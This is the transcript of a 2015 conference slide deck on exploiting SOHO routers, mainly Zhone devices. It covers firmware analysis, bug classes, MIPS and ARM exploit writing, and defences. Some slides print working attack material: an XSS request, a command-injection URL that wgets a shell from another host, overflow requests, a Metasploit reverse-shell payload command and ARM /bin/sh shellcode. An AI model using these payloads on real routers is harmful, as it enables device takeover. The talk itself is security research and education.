Top Banner
Advanced SOHO Router Exploitation Lyon Yang / @l0Op3r [email protected]
47

Advanced SOHO Router Exploitation XCON

Aug 19, 2015

Download

Technology

Lyon Yang
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Advanced SOHO Router Exploitation XCON

Advanced SOHO Router Exploitation

Lyon Yang / @[email protected]

Page 2: Advanced SOHO Router Exploitation XCON

• Hi everyone my name is Lyon Yang• I hack IoT and embedded systems.• I live in sunny Singapore.• Singapore is a smart city with IoT already

deployed.• Taxi drivers in SG will become robots.

• I work at a company called Vantage Point• Strongest technical team in Singapore/SE Asia.• Large collective of passionate hackers.• Working in the financial and government sectors.

Page 3: Advanced SOHO Router Exploitation XCON

Today I want to share with you a story:

• 1 year ago, I set about to try and become the “corelan” of ARM and MIPS exploitation - a formidable task!

• I wanted to fully understand embedded systems and try to contribute back into the community.

• and in the process pop many shells!

Page 4: Advanced SOHO Router Exploitation XCON

Who Am I ?

I am a rather regular guy…

• Basic understanding of ASM and exploitation

• Attended some training events myself• Corelan, HITB, OSCP

Practice Makes Perfect

• I started buying embedded devices and ‘playing’

• Working on IoT till 2-3am most mornings.

Page 5: Advanced SOHO Router Exploitation XCON

Immature• The current state of embedded hacking

• Rather immature.

I learnt quickly that tools don’t work. A lot of things crash.. Support that was supported, isn’t actually

supported. Answers on StackOverflow are very

limited…

Page 6: Advanced SOHO Router Exploitation XCON

1990s

The state of IoT and embedded security.

Equally as immature as the tools.

• “1990 called” - Send our bugs back• Basic strcpy/memcpy exploits• Not much privilege separation• Unsecured host OS• Backdoors are often ‘vendor features’• Not all vendors care about security

Page 7: Advanced SOHO Router Exploitation XCON

Attack Surface

• Attack Surface of IoT

• Think of IoT devices as miniature computers• ARM or MIPS CPU• “Hard-Drive” is a memory IC• Runs Linux (typically)• Communicate over WiFi/Wired• HTTPD, UnPnP, FTPD, SSHD, TelnetD

Page 8: Advanced SOHO Router Exploitation XCON

HardwareHardware Attacks:• Image the IoT device as soon as possible• This involves dumping the memory IC.

Not a difficult task.• Few hundred $ of gear• Hot-Air Gun “Rework Station”• IC Pick Adapter (SOP 20)• IC Pick

Page 9: Advanced SOHO Router Exploitation XCON

Dump Firmware

Other alternatives• Firmware updates are often online• Can be unpacked using freely available tools

(binwalk, fmk, squashfs)

Once we have the Firmware – its digging time.• Identify all software on the device• Find all shared libraries (Look for custom ones)• Find each available Software Input / Entry Point• It does not take long before your finding shells.

Page 10: Advanced SOHO Router Exploitation XCON

At Vantage Point I work with IoT vendors within SE Asia

Network Services (httpd/telnetd…)

– Found more stack overflows than you can count

– “Every string was insecurely handled”

Admin “restricted” Shells• command1 | sh• sh• dumpmem/readmem

Page 11: Advanced SOHO Router Exploitation XCON

Bugs

• Backdoor User(s)• Security Implemented in Client Side• Debug interfaces left active• File Upload -> Shell• Arbitrary File Read (../../../../)• Command Injection• Stack Overflows• Unauthorized Remote Access via UPnP

Page 12: Advanced SOHO Router Exploitation XCON

In IoT we want Remote Unauthenticated bugs• Large scale device compromises.

• Telnetd & httpd are first targets• Daemon re-spawn on crash• Lots of unauthenticated content• Both run as root• Remote access often allowed• Many fuzzing tools available• HTTP is a big protocol!

Page 13: Advanced SOHO Router Exploitation XCON

• Developers typically modify open source software• Customized to meet their own needs.• MicroHTTPD, BusyBox.• This requires you are a strong C, C++ Developer• Most developers now-a-days, are not so strong.• Customizations exactly where we find bugs.

• Stack Overflows in vendor modifications• Additional File Handlers or HTTP Methods• Authentication • Password Reset• Log File Access

Page 14: Advanced SOHO Router Exploitation XCON

• Typically I find bugs like these:

• All hail the might of IoT Security

Page 15: Advanced SOHO Router Exploitation XCON

ZHONEZhone Technologies is a Global Leader in Fiber Access Transformation for Service Provider and Enterprise Networks!

Based in the US

Reference from zhone.com

Page 16: Advanced SOHO Router Exploitation XCON

Telcos using Zhone Routers

• Reference from Shodan

Page 17: Advanced SOHO Router Exploitation XCON

Attacking your tech support

Stored XSS

• POST /zhnsystemconfig.cgi?snmpSysName=ZNID24xxA- Route&snmpSysContact=Zhone%20Global%20Support&snmpSysLocation=www.zhone.com %3Cscript%3Ealert(1)%3C/script%3E&sessionKey=1853320716 HTTP/1.1Host: 192.168.1.1

Page 18: Advanced SOHO Router Exploitation XCON

Privilege Escalation

CVE-2014-8356 Privilege Escalation via Javascript Controls

Access Control via Javascript! (Horrible!)Direct Object Reference to administrative functions!

Page 19: Advanced SOHO Router Exploitation XCON

Plaintext Passwords

All username and passwords usually found in the backup settings file!CVE-2014-8537 – Exposed Plaintext Username & PasswordsPasswords found to be BASE64 encoded in backup settings file.

GET /backupsettings.conf?action=getConfig&sessionKey=

Page 20: Advanced SOHO Router Exploitation XCON

Privilege Escalation Again?

POST /uploadsettings.cgi HTTP/1.1Host: 192.168.1.1-----------------------------75010019812050198961998600862Content-Disposition: form-data; name="filename"; filename="backupsettings.conf" Content-Type: config/conf <?xml version="1.0"?> <DslCpeConfig version="3.2"> …<AdminPassword></AdminPassword>…</DslCpeConfig>5 -----------------------------75010019812050198961998600862—

Page 21: Advanced SOHO Router Exploitation XCON

Command Injection (Telnetd)

CVE-2014-9118 Command Injection via the telnetd session

# download-sw “ftp://123:213@213/;ls -la”

Page 22: Advanced SOHO Router Exploitation XCON

Command Injection (HTTPD)• Favourite way to look for Command Injection via

IDA Pro: Search for keyword “shell” in IDA PRO:

Sample Exploit:/zhnping.cmd?&test=traceroute&sessionKey=985703201&ipAddr=192.168.1.1|wget%20http://192.168.1.17/shell%20-O%20/tmp/shell&ttl=30&wait=3&queries=3

Page 23: Advanced SOHO Router Exploitation XCON

23

\x41\x41\x41\x41

GET /.htmlAAAAA…(7000 ‘A’)…AAAA.html

POST /.tst HTTP/1.1Host: 192.168.1.1 AAAA…..AAAA (7000 Characters)

Page 24: Advanced SOHO Router Exploitation XCON

24

Stack Executable

Stack commonly found to be executable

Page 25: Advanced SOHO Router Exploitation XCON

Cache Incoherency

Reference:http://community.arm.com/groups/processors/blog/2010/02/17/caches-and-self-modifying-code

Page 26: Advanced SOHO Router Exploitation XCON

26

MIPS Cache Incoherency

First two ROP Gadgets Call the sleep function from libc library to flush the MIPS Data Cache.

For that we need two ROP Gadgets1. Setup value 1 in $a02. Call libc sleep function

Page 27: Advanced SOHO Router Exploitation XCON

27

Bypass ASLR

Last two ROP Gadgets Copy address of stack and jump to stack to execute shellcode

Page 28: Advanced SOHO Router Exploitation XCON

28

ROP Gadgets

Commonly Craig Heffner IDA Script works best for looking for ROP Gadgets:https://github.com/devttys0/ida/tree/master/plugins/mipsrop

Example:

Page 29: Advanced SOHO Router Exploitation XCON

29

Excited to POP Shell!

Page 30: Advanced SOHO Router Exploitation XCON

30

Generate Shellcode

Generate Shellcode:msfpayload linux/mipsbe/shell_reverse_tcp lport=31337 lhost=192.168.1.177 R

Bad Characters Problem! : 0x20 0x00 0x3a 0x0a 0x3fEncode Shellcode:msfencode -e mipsbe/longxor -b '0x20 0x00 0x3a 0x0a 0x3f' -t c

Page 31: Advanced SOHO Router Exploitation XCON

31

No Shell??

No Shell!?

Traced through GDB Debugger1. ROP Gadgets

worked fine2. Shellcode

decodes correctly

Page 32: Advanced SOHO Router Exploitation XCON

32

Bad Characters

Page 33: Advanced SOHO Router Exploitation XCON

33

MIPS Encoder

Page 34: Advanced SOHO Router Exploitation XCON

34

Shell Died Instantly?!

Page 35: Advanced SOHO Router Exploitation XCON

35

Problem

Router monitors, kills and re-spawns HTTPD service

Solution:Fork the shellcode

Page 36: Advanced SOHO Router Exploitation XCON

36

MIPS Exploit Writing

Clear Cache Sleep()ASLR Use ROP Gadget to jump to StackBad Characters Wrote your own encoderAuto-Respawn Process Monitoring Fork the Shellcode Process

Page 37: Advanced SOHO Router Exploitation XCON

37

0-Day Demo

DEMOIf time permits we’ll learn briefly how to write the 0-Day MIPS

Exploit later!

Page 38: Advanced SOHO Router Exploitation XCON

38

Same issues in ARM

Cache Incoherency Just encode the data portionASLR Use ROP Gadget to jump to StackBad Characters Wrote your own encoderAuto-Respawn Process Monitoring Fork the Shellcode Process

Page 39: Advanced SOHO Router Exploitation XCON

Cache Incoherency• Self-modifying code

(Encoder/Decoder) would commonly cause Cache Incoherency

• Instructions stored in Instruction Cache will execute instead of Data Cache

• Modified Shellcode is stored in Data Cache and will not execute

Reference:http://community.arm.com/groups/processors/blog/2010/02/17/caches-and-self-modifying-code

Page 40: Advanced SOHO Router Exploitation XCON

Cache Incoherency (ARM)

• Encode and decode only the data portion of the shellcode. Data is not considered as Instructions!

Page 41: Advanced SOHO Router Exploitation XCON

Sample ARM Shellcode_start: .code 32 add r3, pc, #1 bx r3 Switch to "Thumb Mode (16-bit)”

.code 16 mov r0, pc (We place the address of pc in r0) add r0, #10 Add 10 to r0 (point to //bin/sh) str r0, [sp, #4] Place it on the stack add r1, sp, #4 Copy location of /bin/sh to r1 sub r2, r2, r2 “Set r2 to 0” (Null byte free instructions) mov r7, 11 syscall execve in r7 svc 1 Execute syscall

.ascii "//bin/sh\0”

Data Portion

Page 42: Advanced SOHO Router Exploitation XCON

Decoding Data

Decoder

Shellcode(Instructions)

Shellcode(Encoded Data)

Decode

Read Data Shellcode(Decoded Data)

Instruction Cache Data Cache

Page 43: Advanced SOHO Router Exploitation XCON

ARMEncoder

ARMCoder (Alpha Stage)• Mthumb encoder (Encodes all or part of your ARM Shellcodes)• Provides you with an encoder• Objdump your shellcode binary to specific formats like C: "\x41\x42\x43\

x44”

Upcoming features• Detects for bad characters• 32bit encoder• Generates Shellcode• Accept other forms of shellcode input. (Currently only supports reading from

binary)• Added support for MIPS Architecture

• Download Link: https://github.com/l0Op3r/ARMCoder

Page 44: Advanced SOHO Router Exploitation XCON

How do we protect against these attacks?

• Securing the web application:– Back to basics like implementing input

filtering, proper session management etc (OWASP)

• Insecure C Programs– Do not use insecure C functions like

strcpy(), memcpy() etc– Compile binary with secure parameters like:

-fstack-protector-all -pie -fPIE - D_FORTIFY_SOURCE=2

Page 45: Advanced SOHO Router Exploitation XCON

Awesome References!

• Craig Heffner http://www.devttys0.com/

• Johnathan Salwan http://shell-storm.org/

Page 46: Advanced SOHO Router Exploitation XCON

Special Thanks

• Bernhard Mueller• Paul Craig• Stefan Streichsbier• Roberto Suggi

Liverani• Han Lee• Ryan Baxendale

Page 47: Advanced SOHO Router Exploitation XCON

47

Contact Me

Email: [email protected]

Twitter/Github: @l0Op3r